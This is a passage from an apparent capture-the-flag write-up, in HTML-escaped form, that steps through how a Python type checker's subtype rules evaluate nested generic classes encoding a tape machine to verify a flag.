E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s06&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_d&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s30&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_d&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_n&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We just started with the base case (empty suffix of flag), and worked backwards.&lt;/p&gt;
&lt;p&gt;Let&#39;s look closer at the base case:&lt;/p&gt;
&lt;p&gt;$$&#92;texttt{QRW&#92;_s71[...]} &amp;lt;:^? &#92;texttt{E[E[Z]]}.$$&lt;/p&gt;
&lt;p&gt;It turns out this is a special case, since the declaration of &lt;code&gt;QRW_s71&lt;/code&gt; inherits from &lt;code&gt;E[&amp;quot;E[Z]&amp;quot;]&lt;/code&gt;. So with just one &lt;strong&gt;Super&lt;/strong&gt; expansion step, we conclude that the base case checks out. Wow, life seems easy as a subtype-checker.&lt;/p&gt;
&lt;p&gt;Let&#39;s try the next query.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Although &lt;code&gt;QRW_s46&lt;/code&gt; inherits multiple classes, we&#39;ll substitute the &lt;code&gt;E[&amp;quot;QRL_s46[N[T]]&amp;quot;]&lt;/code&gt; supertype, because this allows us to cancel &lt;code&gt;E[...]&lt;/code&gt; afterwards.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Super.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;QRL_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Cancel.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; QRL_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We can carry on...&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; QRL_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRL_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;QLW_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QLW_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QLW_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QLW_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QLW_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
